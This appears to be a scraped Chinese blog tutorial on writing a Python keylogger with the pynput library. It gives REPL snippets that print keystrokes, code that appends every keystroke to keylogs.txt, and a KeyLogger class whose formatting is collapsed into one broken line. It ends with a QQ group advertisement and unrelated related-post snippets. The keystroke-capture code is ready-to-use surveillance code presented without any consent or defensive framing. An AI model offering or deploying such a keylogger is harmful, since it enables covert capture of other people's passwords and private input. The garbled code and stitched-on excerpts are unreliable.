介绍

这是一个非常基础的项目,您甚至不需要具备python能力就可以成功构建它,让我们开始吧!

要构建键盘记录器,我们需要一种跟踪键盘上每个按键的方法,python中有几个库可以用来执行以下操作:

  • 键盘
  • PyUserlnput
  • put

安装

pip install pynput

构建我们的键盘记录器

要跟踪按键,我们必须实现一个侦听器功能,然后将其附加到我们的Pynput侦听器中,这里是如何实现的;

>>> from pynput import keyboard
>>> def on_press(key):
...     print(key)>>> listener = keyboard.Listener(on_press=on_press)
>>> listener.start()
>>> h'h'
v'v'
Key.ctrl
'v'
Key.cmd
Key.ctrl
Key.shift

正如我们在短短的几行代码中所看到的,我们能够实现一个键盘记录器,该记录器可以跟踪按下的键并将其输出到我们的repl终端中

因此,我们现在要做的是打开一个用于存储击键的新文件,而不是将其打印在repl上。

>>> from pynput import keyboard
>>> def on_press(key):
...     with open('keylogs.txt', 'a') as logs:
...             logs.write(str(key))
...
>>> listener = keyboard.Listener(on_press=on_press)
>>> listener.start()
>>> hellodam testing

现在,如果您查看当前目录,您将看到一个名为keylogs.txt的新文件,其中包含新的跟踪密钥,如下所示;

❯ cat keylogs.txt
Key.cmd'h''e''l''l''o''d''a''m'Key.space't''e''s''t''i''n''g'Key.cmdKey.cmdKey.ctrlKey.alt't''c''a''t'Key.space'k''e''y'Key.tabKey.enter%

这是我们格式化后的代码的样子;

from pynput import keyboardclass KeyLogger():def __init__(self, filename: str = "keylogs.txt") -> None:self.filename = filename@staticmethoddef get_char(key):try:return key.charexcept AttributeError:return str(key)def on_press(self, key):print(key)with open(self.filename, 'a') as logs:logs.write(self.get_char(key))def main(self):listener = keyboard.Listener(on_press=self.on_press,)listener.start()if __name__ == '__main__':logger = KeyLogger()logger.main()input()

在这里还是要推荐下我自己建的Python学习群:721195303,群里都是学Python的,如果你想学或者正在学习Python ,欢迎你加入,大家都是软件开发党,不定期分享干货(只有Python软件开发相关的),包括我自己整理的一份2021最新的Python进阶资料和零基础教学,欢迎进阶中和对Python感兴趣的小伙伴加入!

5分钟内完成Python键盘记录程序相关推荐

  1. python程序-30分钟学会用Python编写简单程序

    原标题:30分钟学会用Python编写简单程序 参与文末每日话题讨论,赠送异步新书 异步图书君 学习目标 知道有序的软件开发过程的步骤. 了解遵循输入.处理.输出(IPO)模式的程序,并能够以简单的方 ...

  2. python写软件实例-30分钟学会用Python编写简单程序

    原标题:30分钟学会用Python编写简单程序 参与文末每日话题讨论,赠送异步新书 异步图书君 学习目标 知道有序的软件开发过程的步骤. 了解遵循输入.处理.输出(IPO)模式的程序,并能够以简单的方 ...

  3. mvc移动创建oracle表,使用 ASP.NET MVC (C#)在15分钟内创建电影数据库应用程序 | Microsoft Docs...

    使用 ASP.NET MVC 在 15 分钟内创建电影数据库应用程序 (C#)Create a Movie Database Application in 15 Minutes with ASP.NE ...

  4. 使用ABP vNext在5分钟内开发地址簿应用程序

    ABP vNext框架(以下称为" ABP")是由Volosoft设计的艺术品级应用程序开发框架.它基于域驱动设计(DDD),并创新地采用模块化开发设计.毫无疑问,ABP是ASP. ...

  5. python编写程序-30分钟学会用Python编写简单程序

    参与文末每日话题讨论,赠送异步新书 异步图书君 学习目标 知道有序的软件开发过程的步骤. 了解遵循输入.处理.输出(IPO)模式的程序,并能够以简单的方式修改它们. 了解构成有效Python标识符和表 ...

  6. python 键盘记录_记录键盘敲击次数 python实现

    作为一个程序员,突然好奇自己每天敲击多少次键盘,于是研究了一下,写了一个python程序来记录.这里分享给大家. 其实实现很简单,给python安装一个package pynput.用其中自带的key ...

  7. Python中记录程序运行时间

    有时候我们需要记录一个程序运行的时间,可以用到Python的time库: import time# old_time放在程序运行开始的地方 old_time = time.time() # curre ...

  8. python键盘记录255是哪个按键_Keylogger: Python写的键盘敲击记录器

    Python部落(python.freelycode.com)组织翻译,禁止转载,欢迎转发. 安装 你需要安装python-xlib如果你没有的话. sudo apt-get install pyth ...

  9. python如何编写数据库_如何在几分钟内用Python编写一个简单的玩具数据库

    python如何编写数据库 MySQL, PostgreSQL, Oracle, Redis, and many more, you just name it - databases are a re ...

最新文章

  1. 每天一道LeetCode-----找到一个字符串在另一个字符串出现的位置,字符串内部顺序无要求
  2. java 日期处理 口诀_java时间处理常用方法工具类
  3. 基于 axios 的 Vue 项目 http 请求优化
  4. oracle查询file_name,Oracle DG环境下db_file_name_convert的实际意义
  5. 用Docker自动构建纸壳CMS
  6. MinGW编译boost库
  7. Elasticsearch 7.x 安装及配置
  8. Tensorflow中查看gpu是否可用
  9. linux下添加新硬盘的方法
  10. 我个人中意的VS2017/VS2019插件,推荐给大家(#^.^#)
  11. 使用unity完成简单的打地鼠游戏2D制作
  12. python空气质量提醒代码_空气质量指数查询示例代码
  13. 鸿蒙系统有没有方舟编译器,华为鸿蒙系统终于来了! 首款方舟编译器应用正式上架: 鸿蒙OS可用...
  14. iPad是真正的移动设备吗?
  15. 程序员的工资是不是被高估了?
  16. js图片转base64
  17. 三国群雄传ol服务器 修改,三国群雄传四大兵营进阶改造攻略详解
  18. php中相关乱码处理
  19. 卷积神经网络与全连接神经网络
  20. 翻译HoudiniEngine官方文档:PDG

热门文章

  1. ubuntu 桌面环境出现异常常用的解决方法
  2. js中数组的高逼格操作(filter、sort、map、reduce)
  3. 计算机应用基础0039答案,2016秋5205004计算机应用基础-0039【参考答案】
  4. ecshop 邮件模板 html,ecshop邮件模板默认数据与恢复.doc
  5. DNSPod十问Fanmart向勇:征战东南亚,跨境电商的新大陆?
  6. SQL SERVER查询生僻字问题
  7. java序列化与反序列化
  8. 荷兰国土不大,人口不多,为什么有那么多世界级大公司?
  9. repo upload 或者git push 报错“remote: (W):commit subject 65 characters,use shorter first paragraph”
  10. H3C交换机路由器配置命令大全